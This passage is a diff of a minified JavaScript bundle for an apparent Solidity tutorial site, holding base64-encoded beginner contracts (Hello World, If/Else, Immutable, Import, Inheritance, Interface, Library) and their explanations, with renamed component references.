                                      +`,tZ=({prev:s,next:a})=>r.jsx(A,{version:nZ,title:lZ,description:pZ,html:cZ,prev:s,next:a,codes:eZ}),oZ="0.8.24",rZ="Hello World",iZ="Hello world in Solidity",gZ=[{fileName:"HelloWorld.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBjb21waWxlciB2ZXJzaW9uIG11c3QgYmUgZ3JlYXRlciB0aGFuIG9yIGVxdWFsIHRvIDAuOC4yNCBhbmQgbGVzcyB0aGFuIDAuOS4wCnByYWdtYSBzb2xpZGl0eSBeMC44LjI0OwoKY29udHJhY3QgSGVsbG9Xb3JsZCB7CiAgICBzdHJpbmcgcHVibGljIGdyZWV0ID0gIkhlbGxvIFdvcmxkISI7Cn0K"}],hZ=`

                                      pragma specifies the compiler version of Solidity.

                                      // SPDX-License-Identifier: MIT
 // compiler version must be greater than or equal to 0.8.24 and less than 0.9.0
 pragma solidity ^0.8.24;
@@ -10753,7 +10753,7 @@ if the signer's intention was to approve a transaction once.
                                      
 contract HelloWorld {
     string public greet = "Hello World!";
 }
-
                                      `,IZ=({prev:s,next:a})=>r.jsx(u,{version:oZ,title:rZ,description:iZ,html:hZ,prev:s,next:a,codes:gZ}),dZ="0.8.24",CZ="If / Else",jZ="If / Else conditional statement in Solidity",uZ=[{fileName:"IfElse.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IElmRWxzZSB7CiAgICBmdW5jdGlvbiBmb28odWludDI1NiB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgaWYgKHggPCAxMCkgewogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICB9IGVsc2UgaWYgKHggPCAyMCkgewogICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gMjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVybmFyeSh1aW50MjU2IF94KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gaWYgKF94IDwgMTApIHsKICAgICAgICAvLyAgICAgcmV0dXJuIDE7CiAgICAgICAgLy8gfQogICAgICAgIC8vIHJldHVybiAyOwoKICAgICAgICAvLyBzaG9ydGhhbmQgd2F5IHRvIHdyaXRlIGlmIC8gZWxzZSBzdGF0ZW1lbnQKICAgICAgICAvLyB0aGUgIj8iIG9wZXJhdG9yIGlzIGNhbGxlZCB0aGUgdGVybmFyeSBvcGVyYXRvcgogICAgICAgIHJldHVybiBfeCA8IDEwID8gMSA6IDI7CiAgICB9Cn0K"}],AZ=`

                                      Solidity supports conditional statements if, else if and else.

                                      +`,IZ=({prev:s,next:a})=>r.jsx(A,{version:oZ,title:rZ,description:iZ,html:hZ,prev:s,next:a,codes:gZ}),dZ="0.8.24",CZ="If / Else",jZ="If / Else conditional statement in Solidity",AZ=[{fileName:"IfElse.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IElmRWxzZSB7CiAgICBmdW5jdGlvbiBmb28odWludDI1NiB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgaWYgKHggPCAxMCkgewogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICB9IGVsc2UgaWYgKHggPCAyMCkgewogICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gMjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVybmFyeSh1aW50MjU2IF94KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gaWYgKF94IDwgMTApIHsKICAgICAgICAvLyAgICAgcmV0dXJuIDE7CiAgICAgICAgLy8gfQogICAgICAgIC8vIHJldHVybiAyOwoKICAgICAgICAvLyBzaG9ydGhhbmQgd2F5IHRvIHdyaXRlIGlmIC8gZWxzZSBzdGF0ZW1lbnQKICAgICAgICAvLyB0aGUgIj8iIG9wZXJhdG9yIGlzIGNhbGxlZCB0aGUgdGVybmFyeSBvcGVyYXRvcgogICAgICAgIHJldHVybiBfeCA8IDEwID8gMSA6IDI7CiAgICB9Cn0K"}],uZ=`

                                      Solidity supports conditional statements if, else if and else.

                                      // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -10779,7 +10779,7 @@ if the signer's intention was to approve a transaction once.
                                      
         return _x < 10 ? 1 : 2;
     }
 }
-
                                      `,yZ=({prev:s,next:a})=>r.jsx(u,{version:dZ,title:CZ,description:jZ,html:AZ,prev:s,next:a,codes:uZ}),mZ="0.8.24",bZ="Immutable",wZ="Immutable variables",kZ=[{fileName:"Immutable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEltbXV0YWJsZSB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBpbW11dGFibGUgTVlfQUREUkVTUzsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBNWV9VSU5UOwoKICAgIGNvbnN0cnVjdG9yKHVpbnQyNTYgX215VWludCkgewogICAgICAgIE1ZX0FERFJFU1MgPSBtc2cuc2VuZGVyOwogICAgICAgIE1ZX1VJTlQgPSBfbXlVaW50OwogICAgfQp9Cg=="}],ZZ=`

                                      Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards.

                                      +`,yZ=({prev:s,next:a})=>r.jsx(A,{version:dZ,title:CZ,description:jZ,html:uZ,prev:s,next:a,codes:AZ}),mZ="0.8.24",bZ="Immutable",wZ="Immutable variables",kZ=[{fileName:"Immutable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEltbXV0YWJsZSB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBpbW11dGFibGUgTVlfQUREUkVTUzsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBNWV9VSU5UOwoKICAgIGNvbnN0cnVjdG9yKHVpbnQyNTYgX215VWludCkgewogICAgICAgIE1ZX0FERFJFU1MgPSBtc2cuc2VuZGVyOwogICAgICAgIE1ZX1VJTlQgPSBfbXlVaW50OwogICAgfQp9Cg=="}],ZZ=`

                                      Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards.

                                      // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -10793,7 +10793,7 @@ if the signer's intention was to approve a transaction once.
                                      
         MY_UINT = _myUint;
     }
 }
-
                                      `,WZ=({prev:s,next:a})=>r.jsx(u,{version:mZ,title:bZ,description:wZ,html:ZZ,prev:s,next:a,codes:kZ}),BZ="0.8.24",GZ="Import",VZ="Learn how to import other Solidity files",fZ=[{fileName:"Foo.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCnN0cnVjdCBQb2ludCB7CiAgICB1aW50MjU2IHg7CiAgICB1aW50MjU2IHk7Cn0KCmVycm9yIFVuYXV0aG9yaXplZChhZGRyZXNzIGNhbGxlcik7CgpmdW5jdGlvbiBhZGQodWludDI1NiB4LCB1aW50MjU2IHkpIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgcmV0dXJuIHggKyB5Owp9Cgpjb250cmFjdCBGb28gewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkZvbyI7Cn0K"},{fileName:"Import.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIGltcG9ydCBGb28uc29sIGZyb20gY3VycmVudCBkaXJlY3RvcnkKaW1wb3J0ICIuL0Zvby5zb2wiOwoKLy8gaW1wb3J0IHtzeW1ib2wxIGFzIGFsaWFzLCBzeW1ib2wyfSBmcm9tICJmaWxlbmFtZSI7CmltcG9ydCB7VW5hdXRob3JpemVkLCBhZGQgYXMgZnVuYywgUG9pbnR9IGZyb20gIi4vRm9vLnNvbCI7Cgpjb250cmFjdCBJbXBvcnQgewogICAgLy8gSW5pdGlhbGl6ZSBGb28uc29sCiAgICBGb28gcHVibGljIGZvbyA9IG5ldyBGb28oKTsKCiAgICAvLyBUZXN0IEZvby5zb2wgYnkgZ2V0dGluZyBpdCdzIG5hbWUuCiAgICBmdW5jdGlvbiBnZXRGb29OYW1lKCkgcHVibGljIHZpZXcgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBmb28ubmFtZSgpOwogICAgfQp9Cg=="}],YZ=`

                                      You can import local and external files in Solidity.

                                      +`,WZ=({prev:s,next:a})=>r.jsx(A,{version:mZ,title:bZ,description:wZ,html:ZZ,prev:s,next:a,codes:kZ}),BZ="0.8.24",GZ="Import",VZ="Learn how to import other Solidity files",fZ=[{fileName:"Foo.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCnN0cnVjdCBQb2ludCB7CiAgICB1aW50MjU2IHg7CiAgICB1aW50MjU2IHk7Cn0KCmVycm9yIFVuYXV0aG9yaXplZChhZGRyZXNzIGNhbGxlcik7CgpmdW5jdGlvbiBhZGQodWludDI1NiB4LCB1aW50MjU2IHkpIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgcmV0dXJuIHggKyB5Owp9Cgpjb250cmFjdCBGb28gewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkZvbyI7Cn0K"},{fileName:"Import.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIGltcG9ydCBGb28uc29sIGZyb20gY3VycmVudCBkaXJlY3RvcnkKaW1wb3J0ICIuL0Zvby5zb2wiOwoKLy8gaW1wb3J0IHtzeW1ib2wxIGFzIGFsaWFzLCBzeW1ib2wyfSBmcm9tICJmaWxlbmFtZSI7CmltcG9ydCB7VW5hdXRob3JpemVkLCBhZGQgYXMgZnVuYywgUG9pbnR9IGZyb20gIi4vRm9vLnNvbCI7Cgpjb250cmFjdCBJbXBvcnQgewogICAgLy8gSW5pdGlhbGl6ZSBGb28uc29sCiAgICBGb28gcHVibGljIGZvbyA9IG5ldyBGb28oKTsKCiAgICAvLyBUZXN0IEZvby5zb2wgYnkgZ2V0dGluZyBpdCdzIG5hbWUuCiAgICBmdW5jdGlvbiBnZXRGb29OYW1lKCkgcHVibGljIHZpZXcgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBmb28ubmFtZSgpOwogICAgfQp9Cg=="}],YZ=`

                                      You can import local and external files in Solidity.

                                      Local

                                      Here is our folder structure.

                                      ├── Import.sol
@@ -10843,7 +10843,7 @@ if the signer's intention was to approve a transaction once.
                                      
 // Example import ECDSA.sol from openzeppelin-contract repo, release-v4.5 branch
 // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol
 import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";
-
                                      `,RZ=({prev:s,next:a})=>r.jsx(u,{version:BZ,title:GZ,description:VZ,html:YZ,prev:s,next:a,codes:fZ}),XZ="0.8.24",vZ="Inheritance",NZ="Example of inheritance in Solidity",HZ=[{fileName:"Inheritance.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIEdyYXBoIG9mIGluaGVyaXRhbmNlCiAgICBBCiAgIC8gXAogIEIgICBDCiAvIFwgLwpGICBELEUKCiovCgpjb250cmFjdCBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQSI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBpbmhlcml0IG90aGVyIGNvbnRyYWN0cyBieSB1c2luZyB0aGUga2V5d29yZCAnaXMnLgpjb250cmFjdCBCIGlzIEEgewogICAgLy8gT3ZlcnJpZGUgQS5mb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgdmlydHVhbCBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJCIjsKICAgIH0KfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIE92ZXJyaWRlIEEuZm9vKCkKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgb3ZlcnJpZGUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQyI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBjYW4gaW5oZXJpdCBmcm9tIG11bHRpcGxlIHBhcmVudCBjb250cmFjdHMuCi8vIFdoZW4gYSBmdW5jdGlvbiBpcyBjYWxsZWQgdGhhdCBpcyBkZWZpbmVkIG11bHRpcGxlIHRpbWVzIGluCi8vIGRpZmZlcmVudCBjb250cmFjdHMsIHBhcmVudCBjb250cmFjdHMgYXJlIHNlYXJjaGVkIGZyb20KLy8gcmlnaHQgdG8gbGVmdCwgYW5kIGluIGRlcHRoLWZpcnN0IG1hbm5lci4KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBELmZvbygpIHJldHVybnMgIkMiCiAgICAvLyBzaW5jZSBDIGlzIHRoZSByaWdodCBtb3N0IHBhcmVudCBjb250cmFjdCB3aXRoIGZ1bmN0aW9uIGZvbygpCiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShCLCBDKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cgpjb250cmFjdCBFIGlzIEMsIEIgewogICAgLy8gRS5mb28oKSByZXR1cm5zICJCIgogICAgLy8gc2luY2UgQiBpcyB0aGUgcmlnaHQgbW9zdCBwYXJlbnQgY29udHJhY3Qgd2l0aCBmdW5jdGlvbiBmb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgb3ZlcnJpZGUoQywgQikgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBzdXBlci5mb28oKTsKICAgIH0KfQoKLy8gSW5oZXJpdGFuY2UgbXVzdCBiZSBvcmRlcmVkIGZyb20g4oCcbW9zdCBiYXNlLWxpa2XigJ0gdG8g4oCcbW9zdCBkZXJpdmVk4oCdLgovLyBTd2FwcGluZyB0aGUgb3JkZXIgb2YgQSBhbmQgQiB3aWxsIHRocm93IGEgY29tcGlsYXRpb24gZXJyb3IuCmNvbnRyYWN0IEYgaXMgQSwgQiB7CiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShBLCBCKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cg=="}],FZ=`

                                      Solidity supports multiple inheritance. Contracts can inherit other contract by using the is keyword.

                                      +`,RZ=({prev:s,next:a})=>r.jsx(A,{version:BZ,title:GZ,description:VZ,html:YZ,prev:s,next:a,codes:fZ}),XZ="0.8.24",vZ="Inheritance",NZ="Example of inheritance in Solidity",HZ=[{fileName:"Inheritance.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIEdyYXBoIG9mIGluaGVyaXRhbmNlCiAgICBBCiAgIC8gXAogIEIgICBDCiAvIFwgLwpGICBELEUKCiovCgpjb250cmFjdCBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQSI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBpbmhlcml0IG90aGVyIGNvbnRyYWN0cyBieSB1c2luZyB0aGUga2V5d29yZCAnaXMnLgpjb250cmFjdCBCIGlzIEEgewogICAgLy8gT3ZlcnJpZGUgQS5mb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgdmlydHVhbCBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJCIjsKICAgIH0KfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIE92ZXJyaWRlIEEuZm9vKCkKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgb3ZlcnJpZGUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQyI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBjYW4gaW5oZXJpdCBmcm9tIG11bHRpcGxlIHBhcmVudCBjb250cmFjdHMuCi8vIFdoZW4gYSBmdW5jdGlvbiBpcyBjYWxsZWQgdGhhdCBpcyBkZWZpbmVkIG11bHRpcGxlIHRpbWVzIGluCi8vIGRpZmZlcmVudCBjb250cmFjdHMsIHBhcmVudCBjb250cmFjdHMgYXJlIHNlYXJjaGVkIGZyb20KLy8gcmlnaHQgdG8gbGVmdCwgYW5kIGluIGRlcHRoLWZpcnN0IG1hbm5lci4KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBELmZvbygpIHJldHVybnMgIkMiCiAgICAvLyBzaW5jZSBDIGlzIHRoZSByaWdodCBtb3N0IHBhcmVudCBjb250cmFjdCB3aXRoIGZ1bmN0aW9uIGZvbygpCiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShCLCBDKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cgpjb250cmFjdCBFIGlzIEMsIEIgewogICAgLy8gRS5mb28oKSByZXR1cm5zICJCIgogICAgLy8gc2luY2UgQiBpcyB0aGUgcmlnaHQgbW9zdCBwYXJlbnQgY29udHJhY3Qgd2l0aCBmdW5jdGlvbiBmb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgb3ZlcnJpZGUoQywgQikgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBzdXBlci5mb28oKTsKICAgIH0KfQoKLy8gSW5oZXJpdGFuY2UgbXVzdCBiZSBvcmRlcmVkIGZyb20g4oCcbW9zdCBiYXNlLWxpa2XigJ0gdG8g4oCcbW9zdCBkZXJpdmVk4oCdLgovLyBTd2FwcGluZyB0aGUgb3JkZXIgb2YgQSBhbmQgQiB3aWxsIHRocm93IGEgY29tcGlsYXRpb24gZXJyb3IuCmNvbnRyYWN0IEYgaXMgQSwgQiB7CiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShBLCBCKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cg=="}],FZ=`

                                      Solidity supports multiple inheritance. Contracts can inherit other contract by using the is keyword.

                                      Function that is going to be overridden by a child contract must be declared as virtual.

                                      Function that is going to override a parent function must use the keyword override.

                                      Order of inheritance is important.

                                      @@ -10909,7 +10909,7 @@ F D,E return super.foo(); } } -`,KZ=({prev:s,next:a})=>r.jsx(u,{version:XZ,title:vZ,description:NZ,html:FZ,prev:s,next:a,codes:HZ}),MZ="0.8.24",SZ="Interface",xZ="An example of interface in Solidity",JZ=[{fileName:"Interface.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWwgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9Cn0KCmludGVyZmFjZSBJQ291bnRlciB7CiAgICBmdW5jdGlvbiBjb3VudCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IE15Q29udHJhY3QgewogICAgZnVuY3Rpb24gaW5jcmVtZW50Q291bnRlcihhZGRyZXNzIF9jb3VudGVyKSBleHRlcm5hbCB7CiAgICAgICAgSUNvdW50ZXIoX2NvdW50ZXIpLmluY3JlbWVudCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENvdW50KGFkZHJlc3MgX2NvdW50ZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBJQ291bnRlcihfY291bnRlcikuY291bnQoKTsKICAgIH0KfQoKLy8gVW5pc3dhcCBleGFtcGxlCmludGVyZmFjZSBVbmlzd2FwVjJGYWN0b3J5IHsKICAgIGZ1bmN0aW9uIGdldFBhaXIoYWRkcmVzcyB0b2tlbkEsIGFkZHJlc3MgdG9rZW5CKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MgcGFpcik7Cn0KCmludGVyZmFjZSBVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIGdldFJlc2VydmVzKCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MTEyIHJlc2VydmUwLCB1aW50MTEyIHJlc2VydmUxLCB1aW50MzIgYmxvY2tUaW1lc3RhbXBMYXN0KTsKfQoKY29udHJhY3QgVW5pc3dhcEV4YW1wbGUgewogICAgYWRkcmVzcyBwcml2YXRlIGZhY3RvcnkgPSAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgZGFpID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwogICAgYWRkcmVzcyBwcml2YXRlIHdldGggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gZ2V0VG9rZW5SZXNlcnZlcygpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NiwgdWludDI1NikgewogICAgICAgIGFkZHJlc3MgcGFpciA9IFVuaXN3YXBWMkZhY3RvcnkoZmFjdG9yeSkuZ2V0UGFpcihkYWksIHdldGgpOwogICAgICAgICh1aW50MjU2IHJlc2VydmUwLCB1aW50MjU2IHJlc2VydmUxLCkgPQogICAgICAgICAgICBVbmlzd2FwVjJQYWlyKHBhaXIpLmdldFJlc2VydmVzKCk7CiAgICAgICAgcmV0dXJuIChyZXNlcnZlMCwgcmVzZXJ2ZTEpOwogICAgfQp9Cg=="}],zZ=`

                                      You can interact with other contracts by declaring an Interface.

                                      +`,KZ=({prev:s,next:a})=>r.jsx(A,{version:XZ,title:vZ,description:NZ,html:FZ,prev:s,next:a,codes:HZ}),MZ="0.8.24",SZ="Interface",xZ="An example of interface in Solidity",JZ=[{fileName:"Interface.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWwgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9Cn0KCmludGVyZmFjZSBJQ291bnRlciB7CiAgICBmdW5jdGlvbiBjb3VudCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IE15Q29udHJhY3QgewogICAgZnVuY3Rpb24gaW5jcmVtZW50Q291bnRlcihhZGRyZXNzIF9jb3VudGVyKSBleHRlcm5hbCB7CiAgICAgICAgSUNvdW50ZXIoX2NvdW50ZXIpLmluY3JlbWVudCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENvdW50KGFkZHJlc3MgX2NvdW50ZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBJQ291bnRlcihfY291bnRlcikuY291bnQoKTsKICAgIH0KfQoKLy8gVW5pc3dhcCBleGFtcGxlCmludGVyZmFjZSBVbmlzd2FwVjJGYWN0b3J5IHsKICAgIGZ1bmN0aW9uIGdldFBhaXIoYWRkcmVzcyB0b2tlbkEsIGFkZHJlc3MgdG9rZW5CKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MgcGFpcik7Cn0KCmludGVyZmFjZSBVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIGdldFJlc2VydmVzKCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MTEyIHJlc2VydmUwLCB1aW50MTEyIHJlc2VydmUxLCB1aW50MzIgYmxvY2tUaW1lc3RhbXBMYXN0KTsKfQoKY29udHJhY3QgVW5pc3dhcEV4YW1wbGUgewogICAgYWRkcmVzcyBwcml2YXRlIGZhY3RvcnkgPSAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgZGFpID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwogICAgYWRkcmVzcyBwcml2YXRlIHdldGggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gZ2V0VG9rZW5SZXNlcnZlcygpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NiwgdWludDI1NikgewogICAgICAgIGFkZHJlc3MgcGFpciA9IFVuaXN3YXBWMkZhY3RvcnkoZmFjdG9yeSkuZ2V0UGFpcihkYWksIHdldGgpOwogICAgICAgICh1aW50MjU2IHJlc2VydmUwLCB1aW50MjU2IHJlc2VydmUxLCkgPQogICAgICAgICAgICBVbmlzd2FwVjJQYWlyKHBhaXIpLmdldFJlc2VydmVzKCk7CiAgICAgICAgcmV0dXJuIChyZXNlcnZlMCwgcmVzZXJ2ZTEpOwogICAgfQp9Cg=="}],zZ=`

                                      You can interact with other contracts by declaring an Interface.

                                      Interface

                                      • cannot have any functions implemented
                                        • @@ -10972,7 +10972,7 @@ F D,E return (reserve0, reserve1); } } -`,DZ=({prev:s,next:a})=>r.jsx(u,{version:MZ,title:SZ,description:xZ,html:zZ,prev:s,next:a,codes:JZ}),EZ="0.8.24",QZ="Library",TZ="Example of how to write and use libraries in your Solidity code",UZ=[{fileName:"Library.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgTWF0aCB7CiAgICBmdW5jdGlvbiBzcXJ0KHVpbnQyNTYgeSkgaW50ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICAgICAgLy8gZWxzZSB6ID0gMCAoZGVmYXVsdCB2YWx1ZSkKICAgIH0KfQoKY29udHJhY3QgVGVzdE1hdGggewogICAgZnVuY3Rpb24gdGVzdFNxdWFyZVJvb3QodWludDI1NiB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIE1hdGguc3FydCh4KTsKICAgIH0KfQoKLy8gQXJyYXkgZnVuY3Rpb24gdG8gZGVsZXRlIGVsZW1lbnQgYXQgaW5kZXggYW5kIHJlLW9yZ2FuaXplIHRoZSBhcnJheQovLyBzbyB0aGF0IHRoZXJlIGFyZSBubyBnYXB